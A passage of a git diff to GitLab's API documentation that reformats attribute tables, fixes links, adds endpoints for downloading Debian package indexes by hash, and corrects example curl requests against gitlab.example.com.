integer | **{check-circle}** Yes | The IID of the merge request. | +| Attribute | Type | Required | Description | +|---------------------|-------------------|------------------------|-------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of an approval rule. | +| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | ## Approve merge request @@ -1070,12 +1073,12 @@ POST /projects/:id/merge_requests/:merge_request_iid/approve Supported attributes: -| Attribute | Type | Required | Description | -|---------------------|---------|----------|-------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `approval_password` | string | **{dotted-circle}** No | Current user's password. Required if [**Require user password to approve**](../user/project/merge_requests/approvals/settings.md#require-user-password-to-approve) is enabled in the project settings. | -| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | -| `sha` | string | **{dotted-circle}** No | The `HEAD` of the merge request. | +| Attribute | Type | Required | Description | +|---------------------|-------------------|------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `approval_password` | string | **{dotted-circle}** No | Current user's password. Required if [**Require user password to approve**](../user/project/merge_requests/approvals/settings.md#require-user-password-to-approve) is enabled in the project settings. | +| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | +| `sha` | string | **{dotted-circle}** No | The `HEAD` of the merge request. | The `sha` parameter works in the same way as when [accepting a merge request](merge_requests.md#merge-a-merge-request): if it is passed, then it must @@ -1133,7 +1136,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/unapprove Supported attributes: -| Attribute | Type | Required | Description | -|---------------------|---------|----------|---------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of a merge request. | +| Attribute | Type | Required | Description | +|---------------------|-------------------|------------------------|-------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of a merge request. | diff --git a/doc/api/merge_requests.md b/doc/api/merge_requests.md index 5843a10ca59..3ef5d3420c1 100644 --- a/doc/api/merge_requests.md +++ b/doc/api/merge_requests.md @@ -637,7 +637,7 @@ Supported attributes: | `created_at` | datetime | Timestamp of when the merge request was created. | | `description` | string | Description of the merge request. Contains Markdown rendered as HTML for caching. | | `detailed_merge_status` | string | Detailed merge status of the merge request. Read [merge status](#merge-status) for a list of potential values. | -| `diff_refs` | object | References of the base SHA, the head SHA, and the start SHA for this merge request. Corresponds to the latest diff version of the merge request. | +| `diff_refs` | object | References of the base SHA, the head SHA, and the start SHA for this merge request. Corresponds to the latest diff version of the merge request. Empty when the merge request is created, and populates asynchronously. See [Empty `diff_refs` for new merge requests](#empty-diff_refs-for-new-merge-requests). | | `discussion_locked` | boolean | Indicates if comments on the merge request are locked to members only. | | `downvotes` | integer | Number of downvotes for the merge request. | | `draft` | boolean | Indicates if the merge request is a draft. | @@ -652,7 +652,7 @@ Supported attributes: | `latest_build_finished_at` | datetime | Timestamp of when the latest build for the merge request finished. | | `latest_build_started_at` | datetime | Timestamp of when the latest build for the merge request started. | | `merge_commit_sha` | string | SHA of the merge request commit. Returns `null` until merged. | -| `merge_error` | string | Error message due to a merge error. | +| `merge_error` | string | Error message shown when a merge has failed. To check mergeability, use `detailed_merge_status` instead | | `merge_user` | object | The user who merged this merge request, the user who set it to merge when pipeline succeeds, or `null`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/349031) in GitLab 14.7. | | `merge_status` | string | Status of the merge request. Can be `unchecked`, `checking`, `can_be_merged`, `cannot_be_merged`, or `cannot_be_merged_recheck`. Affects the `has_conflicts` property. For important notes on response data, read [Single merge request response notes](#single-merge-request-response-notes). [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/3169#note_1162532204) in GitLab 15.6. Use `detailed_merge_status` instead. | | `merge_when_pipeline_succeeds` | boolean | Indicates if the merge has been set to be merged when its pipeline succeeds. | @@ -671,7 +671,7 @@ Supported attributes: | `squash` | boolean | Indicates if squash on merge is enabled. | | `squash_commit_sha` | string | SHA of the squash commit. Empty until merged. | | `state` | string | State of the merge request. Can be `opened`, `closed`, `merged` or `locked`. | -| `subscribed` | boolean | Indicates if the currently logged in user is subscribed to this merge request. | +| `subscribed` | boolean | Indicates if the currently authenticated user is subscribed to this merge request. | | `target_branch` | string | Target branch of the merge request. | | `target_project_id` | integer | ID of the merge request target project. | | `task_completion_status` | object | Completion status of tasks. | @@ -986,7 +986,7 @@ returned by the API or viewed via the UI. When these limits impact the results, field contains a value of `true`. Diff data without these limits applied can be retrieved by adding the `access_raw_diffs` parameter, accessing diffs not from the database but from Gitaly directly. This approach is generally slower and more resource-intensive, but isn't subject to size limits -placed on database-backed diffs. [Limits inherent to Gitaly](../development/diffs.md#diff-limits) +placed on database-backed diffs. [Limits inherent to Gitaly](../development/merge_request_concepts/diffs/index.md#diff-limits) still apply. ```plaintext @@ -2913,3 +2913,14 @@ For approvals, see [Merge request approvals](merge_request_approvals.md) To track which state was set, who did it, and when it happened, check out [Resource state events API](resource_state_events.md#merge-requests). + +## Troubleshooting + +### Empty `diff_refs` for new merge requests + +When a merge request is created, the `diff_refs` field is initially empty. This field +is populated asynchronously after the merge request is created. For more +information, see the issue +[`diff_refs` empty after merge request is created](https://gitlab.com/gitlab-org/gitlab/-/issues/386562), +and the [related discussion](https://forum.gitlab.com/t/diff-refs-empty-after-mr-is-created/78975) +in the GitLab forums. diff --git a/doc/api/metadata.md b/doc/api/metadata.md index c3cbae70a54..92f7177482a 100644 --- a/doc/api/metadata.md +++ b/doc/api/metadata.md @@ -6,7 +6,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Metadata API **(FREE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/357032) in GitLab 15.2. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/357032) in GitLab 15.2. +> - `enterprise` [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/103969) in GitLab 15.6. Retrieve metadata information for this GitLab instance. diff --git a/doc/api/notes.md b/doc/api/notes.md index 188d2697e6d..44bd7624022 100644 --- a/doc/api/notes.md +++ b/doc/api/notes.md @@ -174,7 +174,7 @@ Parameters: | `confidential` | boolean | no | **Deprecated:** will be removed in GitLab 16.0. The confidential flag of a note. Default is false. | ```shell -curl --request PUT --header "PRIVATE-TOKEN: " "https://gitlab.example.com/api/v4/projects/5/issues/11/notes?body=note" +curl --request PUT --header "PRIVATE-TOKEN: " "https://gitlab.example.com/api/v4/projects/5/issues/11/notes/636?body=note" ``` ### Delete an issue note @@ -300,7 +300,7 @@ Parameters: | `body` | string | yes | The content of a note. Limited to 1,000,000 characters. | ```shell -curl --request PUT --header "PRIVATE-TOKEN: " "https://gitlab.example.com/api/v4/projects/5/snippets/11/notes?body=note" +curl --request PUT --header "PRIVATE-TOKEN: " "https://gitlab.example.com/api/v4/projects/5/snippets/11/notes/1659?body=note" ``` ### Delete a snippet note @@ -428,7 +428,7 @@ Parameters: | `confidential` | boolean | no | **Deprecated:** will be removed in GitLab 16.0. The confidential flag of a note. Default is false. | ```shell -curl --request PUT --header "PRIVATE-TOKEN: " "https://gitlab.example.com/api/v4/projects/5/merge_requests/11/notes?body=note" +curl --request PUT --header "PRIVATE-TOKEN: " "https://gitlab.example.com/api/v4/projects/5/merge_requests/11/notes/1?body=note" ``` ### Delete a merge request note @@ -561,7 +561,7 @@ Parameters: | `confidential` | boolean | no | **Deprecated:** will be removed in GitLab 16.0. The confidential flag of a note. Default is false. | ```shell -curl --request PUT --header "PRIVATE-TOKEN: " "https://gitlab.example.com/api/v4/groups/5/epics/11/notes?body=note" +curl --request PUT --header "PRIVATE-TOKEN: " "https://gitlab.example.com/api/v4/groups/5/epics/11/notes/1?body=note" ``` ### Delete an epic note diff --git a/doc/api/oauth2.md b/doc/api/oauth2.md index 371e3f9ae47..3e470c5cb91 100644 --- a/doc/api/oauth2.md +++ b/doc/api/oauth2.md @@ -59,7 +59,7 @@ resources which the `application` can access. Upon creation, you obtain the **must be kept secure**. It is also advantageous to keep the _Application ID_ secret when your application architecture allows. -For a list of scopes in GitLab, see [the provider documentation](../integration/oauth_provider.md#authorized-applications). +For a list of scopes in GitLab, see [the provider documentation](../integration/oauth_provider.md#view-all-authorized-applications). ### Prevent CSRF attacks @@ -116,7 +116,7 @@ Before starting the flow, generate the `STATE`, the `CODE_VERIFIER` and the `COD This page asks the user to approve the request from the app to access their account based on the scopes specified in `REQUESTED_SCOPES`. The user is then - redirected back to the specified `REDIRECT_URI`. The [scope parameter](../integration/oauth_provider.md#authorized-applications) + redirected back to the specified `REDIRECT_URI`. The [scope parameter](../integration/oauth_provider.md#view-all-authorized-applications) is a space-separated list of scopes associated with the user. For example,`scope=read_user+profile` requests the `read_user` and `profile` scopes. The redirect includes the authorization `code`, for example: @@ -196,7 +196,7 @@ be used as a CSRF token. This page asks the user to approve the request from the app to access their account based on the scopes specified in `REQUESTED_SCOPES`. The user is then - redirected back to the specified `REDIRECT_URI`. The [scope parameter](../integration/oauth_provider.md#authorized-applications) + redirected back to the specified `REDIRECT_URI`. The [scope parameter](../integration/oauth_provider.md#view-all-authorized-applications) is a space-separated list of scopes associated with the user. For example,`scope=read_user+profile` requests the `read_user` and `profile` scopes. The redirect includes the authorization `code`, for example: @@ -352,7 +352,7 @@ curl --header "Authorization: Bearer OAUTH-TOKEN" "https://gitlab.example.com/ap ## Access Git over HTTPS with `access token` -A token with [scope](../integration/oauth_provider.md#authorized-applications) +A token with [scope](../integration/oauth_provider.md#view-all-authorized-applications) `read_repository` or `write_repository` can access Git over HTTPS. Use the token as the password. The username must be `oauth2`, not your username: @@ -417,7 +417,7 @@ Standard OAuth 2.0 tokens support different degrees of access to GitLab registries, as they: - Do not allow users to authenticate to: - - The GitLab [Container registry](../user/packages/container_registry/index.md#authenticate-with-the-container-registry). + - The GitLab [Container registry](../user/packages/container_registry/authenticate_with_container_registry.md). - Packages listed in the GitLab [Package registry](../user/packages/package_registry/index.md). - Allow users to get, list, and delete registries through the [Container registry API](container_registry.md). diff --git a/doc/api/packages/debian.md b/doc/api/packages/debian.md index 88baf760973..bfed66a6579 100644 --- a/doc/api/packages/debian.md +++ b/doc/api/packages/debian.md @@ -85,14 +85,14 @@ GET projects/:id/packages/debian/pool/:distribution/:letter/:package_name/:packa | `file_name` | string | yes | The filename. | ```shell -curl --header "Private-Token: " "https://gitlab.example.com/api/v4/projects/1/packages/pool/my-distro/a/my-pkg/1.0.0/example_1.0.0~alpha2_amd64.deb" +curl --header "Private-Token: " "https://gitlab.example.com/api/v4/projects/1/packages/debian/pool/my-distro/a/my-pkg/1.0.0/example_1.0.0~alpha2_amd64.deb" ``` Write the output to a file: ```shell curl --header "Private-Token: " \ - "https://gitlab.example.com/api/v4/projects/1/packages/pool/my-distro/a/my-pkg/1.0.0/example_1.0.0~alpha2_amd64.deb" \ + "https://gitlab.example.com/api/v4/projects/1/packages/debian/pool/my-distro/a/my-pkg/1.0.0/example_1.0.0~alpha2_amd64.deb" \ --remote-name ``` @@ -242,6 +242,37 @@ curl --header "Private-Token: " \ This writes the downloaded file using the remote filename in the current directory. +## Download a packages index by hash + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/96947) in GitLab 15.4. + +Download a packages index by hash. + +```plaintext +GET /dists/*distribution/:component/binary-:architecture/by-hash/SHA256/:file_sha256 + +``` + +| Attribute | Type | Required | Description | +| ----------------- | ------ | -------- | ----------- | +| `distribution` | string | yes | The codename or suite of the Debian distribution. | +| `component` | string | yes | The distribution component name. | +| `architecture` | string | yes | The distribution architecture type. | + +```shell +curl --header "Private-Token: " "https://gitlab.example.com/api/v4/projects/1/packages/debian/dists/my-distro/main/binary-amd64/by-hash/SHA256/66a045b452102c59d840ec097d59d9467e13a3f34f6494e539ffd32c1bb35f18" +``` + +Write the output to a file: + +```shell +curl --header "Private-Token: " \ + "https://gitlab.example.com/api/v4/projects/1/packages/debian/dists/my-distro/main/binary-amd64/by-hash/SHA256/66a045b452102c59d840ec097d59d9467e13a3f34f6494e539ffd32c1bb35f18" \ + --remote-name +``` + +This writes the downloaded file using the remote filename in the current directory. + ## Download a Debian Installer packages index > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/71918) in GitLab 15.4. @@ -272,6 +303,36 @@ curl --header "Private-Token: " \ This writes the downloaded file using the remote filename in the current directory. +## Download a Debian Installer packages index by hash + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/96947) in GitLab 15.4. + +Download a Debian Installer packages index by hash. + +```plaintext +GET /dists/*distribution/:component/debian-installer/binary-:architecture/by-hash/SHA256/:file_sha256 +``` + +| Attribute | Type | Required | Description | +| ----------------- | ------ | -------- | ----------- | +| `distribution` | string | yes | The codename or suite of the Debian distribution. | +| `component` | string | yes | The distribution component name. | +| `architecture` | string | yes | The distribution architecture type. | + +```shell +curl --header "Private-Token: " "https://gitlab.example.com/api/v4/projects/1/packages/debian/dists/my-distro/main/debian-installer/binary-amd64/by-hash/SHA256/66a045b452102c59d840ec097d59d9467e13a3f34f6494e539ffd32c1bb35f18" +``` + +Write the output to a file: + +```shell +curl --header "Private-Token: " \ + "https://gitlab.example.com/api/v4/projects/1/packages/debian/dists/my-distro/main/debian-installer/binary-amd64/by-hash/SHA256/66a045b452102c59d840ec097d59d9467e13a3f34f6494e539ffd32c1bb35f18" \ + --remote-name +``` + +This writes the downloaded file using the remote filename in the current directory. + ## Download a source packages index > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/71918) in GitLab 15.4. @@ -300,3 +361,32 @@ curl --header "Private-Token: " \ ``` This writes the downloaded file using the remote filename in the current directory. + +## Download a source packages index by hash + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/96947) in GitLab 15.4. + +Download a source packages index by hash. + +```plaintext +GET /dists/*distribution/:component/source/by-hash/SHA256/:file_sha256 +``` + +| Attribute | Type | Required | Description | +| ----------------- | ------ | -------- | ----------- | +| `distribution` | string | yes | The codename or suite of the Debian distribution. | +| `component` | string | yes | The distribution component name. | + +```shell +curl --header "Private-Token: " "https://gitlab.example.com/api/v4/projects/1/packages/debian/dists/my-distro/main/source/by-hash/SHA256/66a045b452102c59d840ec097d59d9467e13a3f34f6494e539ffd32c1bb35f18" +``` + +Write the output to a file: + +```shell +curl --header "Private-Token: " \ + "https://gitlab.example.com/api/v4/projects/1/packages/debian/dists/my-distro/main/source/by-hash/SHA256/66a045b452102c59d840ec097d59d9467e13a3f34f6494e539ffd32c1bb35f18" \ + --remote-name +``` + +This writes the downloaded file using the remote filename in the current directory. diff --git a/doc/api/project_import_export.md b/doc/api/project_import_export.md index a14f385cdb5..fe3b2e2a3fb 100644 --- a/doc/api/project_import_export.md +++ b/doc/api/project_import_export.md @@ -135,7 +135,8 @@ POST /projects/import | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ---------------------------------------- | -| `namespace` | integer/string | no | The ID or path of the namespace to import the project to. Defaults to the current user's namespace | +| `namespace` | integer/string | no | The ID or path of the namespace to import the project to. Defaults to the current user's namespace. Requires at least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was +[deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0. | | `name` | string | no | The name of the project to be imported. Defaults to the path of the project if not provided | | `file` | string | yes | The file to be uploaded | | `path` | string | yes | Name and path for new project | diff --git a/doc/api/project_repository_storage_moves.md b/doc/api/project_repository_storage_moves.md index 429cb97c404..bed4d4c9d88 100644 --- a/doc/api/project_repository_storage_moves.md +++ b/doc/api/project_repository_storage_moves.md @@ -8,9 +8,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31285) in GitLab 13.0. -Project repositories including wiki and design repositories can be moved between storages. This can be useful when -[migrating to Gitaly Cluster](../administration/gitaly/index.md#migrate-to-gitaly-cluster), -for example. +Project repositories including wiki and design repositories can be moved between storages. This API can help you when +[migrating to Gitaly Cluster](../administration/gitaly/index.md#migrate-to-gitaly-cluster), for example. As project repository storage moves are processed, they transition through different states. Values of `state` are: @@ -250,6 +249,8 @@ Example response: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47142) in GitLab 13.7. Schedules repository storage moves for each project repository stored on the source storage shard. +This endpoint migrates all projects at once. For more information, see +[Move all projects](../administration/operations/moving_repositories.md#move-all-projects). ```plaintext POST /project_repository_storage_moves diff --git a/doc/api/project_snippets.md b/doc/api/project_snippets.md index afb7519d5f3..95477cdc765 100644 --- a/doc/api/project_snippets.md +++ b/doc/api/project_snippets.md @@ -1,6 +1,6 @@ --- stage: Create -group: Editor +group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- @@ -16,7 +16,7 @@ Constants for snippet visibility levels are: | visibility | Description | | ---------- | ----------- | | `private` | The snippet is visible only to project members | -| `internal` | The snippet is visible for any logged in user except [external users](../user/admin_area/external_users.md) | +| `internal` | The snippet is visible for any authenticated user except [external users](../user/admin_area/external_users.md) | | `public` | The snippet can be accessed without any authentication | NOTE: diff --git a/doc/api/projects.md b/doc/api/projects.md index 9ddb58b1436..d14ed007dca 100644 --- a/doc/api/projects.md +++ b/doc/api/projects.md @@ -1,6 +1,6 @@ --- -stage: Plan -group: Project Management +stage: Manage +group: Organization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- @@ -16,7 +16,7 @@ The visibility level is determined by the `visibility` field in the project. Values for the project visibility level are: - `private`: project access must be granted explicitly to each user. -- `internal`: the project can be cloned by any signed-in user except [external users](../user/admin_area/external_users.md). +- `internal`: the project can be cloned by any authenticated user except [external users](../user/admin_area/external_users.md). - `public`: the project can be accessed without any authentication. For more, read [Project visibility](../user/public_access.md). @@ -109,9 +109,7 @@ Example response: "ssh_url_to_repo": "git@gitlab.example.com:diaspora/diaspora-client.git", "http_url_to_repo": "https://gitlab.example.com/diaspora/diaspora-client.git", "web_url": "https://gitlab.example.com/diaspora/diaspora-client", - "readme_url": "https://gitlab.example.com/diaspora/diaspora-client/blob/master/README.md", "avatar_url": "https://gitlab.example.com/uploads/project/avatar/4/uploads/avatar.png", - "forks_count": 0, "star_count": 0, "last_activity_at": "2013-09-30T13:46:02Z", "namespace": { @@ -210,7 +208,6 @@ When the user is authenticated and `simple` is not set this returns something li "builds_access_level": "enabled", "snippets_access_level": "enabled", "pages_access_level": "enabled", - "operations_access_level": "enabled", "analytics_access_level": "enabled", "container_registry_access_level": "enabled", "security_and_compliance_access_level": "private", @@ -1244,7 +1241,7 @@ curl --request POST --header "PRIVATE-TOKEN: " \ | `namespace_id` | integer | **{dotted-circle}** No | Namespace for the new project (defaults to the current user's namespace). | | `only_allow_merge_if_all_discussions_are_resolved` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged when all the discussions are resolved. | | `only_allow_merge_if_pipeline_succeeds` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged with successful pipelines. This setting is named [**Pipelines must succeed**](../user/project/merge_requests/merge_when_pipeline_succeeds.md#require-a-successful-pipeline-for-merge) in the project settings. | -| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | +| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/385798) in GitLab 15.8. | | `packages_enabled` | boolean | **{dotted-circle}** No | Enable or disable packages repository feature. | | `pages_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, `enabled`, or `public`. | | `printing_merge_request_link_enabled` | boolean | **{dotted-circle}** No | Show link to create/view merge request when pushing from the command line. | @@ -1266,7 +1263,7 @@ curl --request POST --header "PRIVATE-TOKEN: " \ | `snippets_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable snippets for this project. Use `snippets_access_level` instead. | | `squash_option` | string | **{dotted-circle}** No | One of `never`, `always`, `default_on`, or `default_off`. | | `tag_list` | array | **{dotted-circle}** No | _([Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0)_ The list of tags for a project; put array of tags, that should be finally assigned to a project. Use `topics` instead. | -| `template_name` | string | **{dotted-circle}** No | When used without `use_custom_template`, name of a [built-in project template](../user/project/working_with_projects.md#create-a-project-from-a-built-in-template). When used with `use_custom_template`, name of a custom project template. | +| `template_name` | string | **{dotted-circle}** No | When used without `use_custom_template`, name of a [built-in project template](../user/project/index.md#create-a-project-from-a-built-in-template). When used with `use_custom_template`, name of a custom project template. | | `template_project_id` **(PREMIUM)** | integer | **{dotted-circle}** No | When used with `use_custom_template`, project ID of a custom project template. This is preferable to using `template_name` since `template_name` may be ambiguous. | | `topics` | array | **{dotted-circle}** No | The list of topics for a project; put array of topics, that should be finally assigned to a project. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0.)_ | | `use_custom_template` **(PREMIUM)** | boolean | **{dotted-circle}** No | Use either custom [instance](../user/admin_area/custom_project_templates.md) or [group](../user/group/custom_project_templates.md) (with `group_with_project_templates_id`) project template. | @@ -1327,7 +1324,7 @@ POST /projects/user/:user_id | `namespace_id` | integer | **{dotted-circle}** No | Namespace for the new project (defaults to the current user's namespace). | | `only_allow_merge_if_all_discussions_are_resolved` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged when all the discussions are resolved. | | `only_allow_merge_if_pipeline_succeeds` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged with successful jobs. | -| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | +| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/385798) in GitLab 15.8. | | `packages_enabled` | boolean | **{dotted-circle}** No | Enable or disable packages repository feature. | | `pages_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, `enabled`, or `public`. | | `path` | string | **{dotted-circle}** No | Custom repository name for new project. By default generated based on name. | @@ -1348,12 +1345,12 @@ POST /projects/user/:user_id | `shared_runners_enabled` | boolean | **{dotted-circle}** No | Enable shared runners for this project. | | `snippets_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | | `snippets_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable snippets for this project. Use `snippets_access_level` instead. | -| `issue_branch_template` | string | **{dotted-circle}** No | Template used to suggest names for [branches created from issues](../user/project/repository/web_editor.md#create-a-new-branch-from-an-issue). _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21243) in GitLab 15.6.)_ | +| `issue_branch_template` | string | **{dotted-circle}** No | Template used to suggest names for [branches created from issues](../user/project/merge_requests/creating_merge_requests.md#from-an-issue). _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21243) in GitLab 15.6.)_ | | `squash_commit_template` | string | **{dotted-circle}** No | [Template](../user/project/merge_requests/commit_templates.md) used to create squash commit message in merge requests. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/345275) in GitLab 14.6.)_ | | `squash_option` | string | **{dotted-circle}** No | One of `never`, `always`, `default_on`, or `default_off`. | | `suggestion_commit_message` | string | **{dotted-circle}** No | The commit message used to apply merge request [suggestions](../user/project/merge_requests/reviews/suggestions.md). | | `tag_list` | array | **{dotted-circle}** No | _([Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0)_ The list of tags for a project; put array of tags, that should be finally assigned to a project. Use `topics` instead. | -| `template_name` | string | **{dotted-circle}** No | When used without `use_custom_template`, name of a [built-in project template](../user/project/working_with_projects.md#create-a-project-from-a-built-in-template). When used with `use_custom_template`, name of a custom project template. | +| `template_name` | string | **{dotted-circle}** No | When used without `use_custom_template`, name of a [built-in project template](../user/project/index.md#create-a-project-from-a-built-in-template). When used with `use_custom_template`, name of a custom project template. | | `topics` | array | **{dotted-circle}** No | The list of topics for the project. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0.)_ | | `use_custom_template` **(PREMIUM)** | boolean | **{dotted-circle}** No | Use either custom [instance](../user/admin_area/custom_project_templates.md) or [group](../user/group/custom_project_templates.md) (with `group_with_project_templates_id`) project template. | | `visibility` | string | **{dotted-circle}** No | See [project visibility level](#project-visibility-level). | @@ -1435,7 +1432,7 @@ Supported attributes: | `only_allow_merge_if_all_discussions_are_resolved` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged when all the discussions are resolved. | | `only_allow_merge_if_pipeline_succeeds` | boolean | **{dotted-circle}** No | Set whether merge requests can only be merged with successful jobs. | | `only_mirror_protected_branches` **(PREMIUM)** | boolean | **{dotted-circle}** No | Only mirror protected branches. | -| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | +| `operations_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/385798) in GitLab 15.8. | | `packages_enabled` | boolean | **{dotted-circle}** No | Enable or disable packages repository feature. | | `pages_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, `enabled`, or `public`. | | `path` | string | **{dotted-circle}** No | Custom repository name for the project. By default generated based on name. | @@ -1458,7 +1455,7 @@ Supported attributes: | `shared_runners_enabled` | boolean | **{dotted-circle}** No | Enable shared runners for this project. | | `snippets_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | | `snippets_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable snippets for this project. Use `snippets_access_level` instead. | -| `issue_branch_template` | string | **{dotted-circle}** No | Template used to suggest names for [branches created from issues](../user/project/repository/web_editor.md#create-a-new-branch-from-an-issue). _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21243) in GitLab 15.6.)_ | +| `issue_branch_template` | string | **{dotted-circle}** No | Template used to suggest names for [branches created from issues](../user/project/merge_requests/creating_merge_requests.md#from-an-issue). _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21243) in GitLab 15.6.)_ | | `squash_commit_template` | string | **{dotted-circle}** No | [Template](../user/project/merge_requests/commit_templates.md) used to create squash commit message in merge requests. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/345275) in GitLab 14.6.)_ | | `squash_option` | string | **{dotted-circle}** No | One of `never`, `always`, `default_on`, or `default_off`. | | `suggestion_commit_message` | string | **{dotted-circle}** No | The commit message used to apply merge request suggestions. | @@ -2888,7 +2885,14 @@ Example response: ## Configure pull mirroring for a project **(PREMIUM)** -> Moved to GitLab Premium in 13.9. +> - Moved to GitLab Premium in GitLab 13.9. +> - Field `mirror_branch_regex` [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/102608) in GitLab 15.8 [with a flag](../administration/feature_flags.md) named `mirror_only_branches_match_regex`. Disabled by default. + +FLAG: +On self-managed GitLab, by default the field `mirror_branch_regex` is not available. +To make it available, ask an administrator to [enable the feature flag](../administration/feature_flags.md) +named `mirror_only_branches_match_regex`. +On GitLab.com, this feature is not available. Configure pull mirroring while [creating a new project](#create-project) or [updating an existing project](#edit-project) using the API @@ -2906,6 +2910,7 @@ with the API scope enabled. | `mirror` | boolean | **{check-circle}** Yes | Enables pull mirroring on project when set to `true`. | | `mirror_trigger_builds`| boolean | **{dotted-circle}** No | Trigger pipelines for mirror updates when set to `true`. | | `only_mirror_protected_branches`| boolean | **{dotted-circle}** No | Limits mirroring to only protected branches when set to `true`. | +| `mirror_branch_regex` | String | **{dotted-circle}** No | Contains a regular expression. Only branches with names matching the regex are mirrored. Requires `only_mirror_protected_branches` to be disabled. | ## Start the pull mirroring process for a Project **(PREMIUM)** diff --git a/doc/api/protected_branches.md b/doc/api/protected_branches.md index 96d4240b3ef..6b702ad7e03 100644 --- a/doc/api/protected_branches.md +++ b/doc/api/protected_branches.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Protected branches API **(FREE)** -**Valid access levels** +## Valid access levels The access levels are defined in the `ProtectedRefAccess.allowed_access_levels` method. Currently, these levels are recognized: diff --git a/doc/api/releases/index.md b/doc/api/releases/index.md index 66d5775f499..d5d858c1647 100644 --- a/doc/api/releases/index.md +++ b/doc/api/releases/index.md @@ -41,6 +41,15 @@ GET /projects/:id/releases | `sort` | string | no | The direction of the order. Either `desc` (default) for descending order or `asc` for ascending order. | | `include_html_description` | boolean | no | If `true`, a response includes HTML rendered Markdown of the release description. | +If successful, returns [`200 OK`](../../api/index.md#status-codes) and the following +response attributes: + +| Attribute | Type | Description | +|:---------------------|:--------|:------------------------------------- | +| `[]._links` | object | Links of the release. | +| `[]._links.self` | string | HTTP URL of the release. | +| `[]._links.edit_url` | string | HTTP URL of the release's edit page. | + Example request: ```shell @@ -226,7 +235,11 @@ Example response: "filepath": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1/evidence.json", "collected_at": "2019-01-03T01:55:18.203Z" } - ] + ], + "_links": { + "self": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1", + "edit_url": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1/edit" + } } ] ``` @@ -247,6 +260,15 @@ GET /projects/:id/releases/:tag_name | 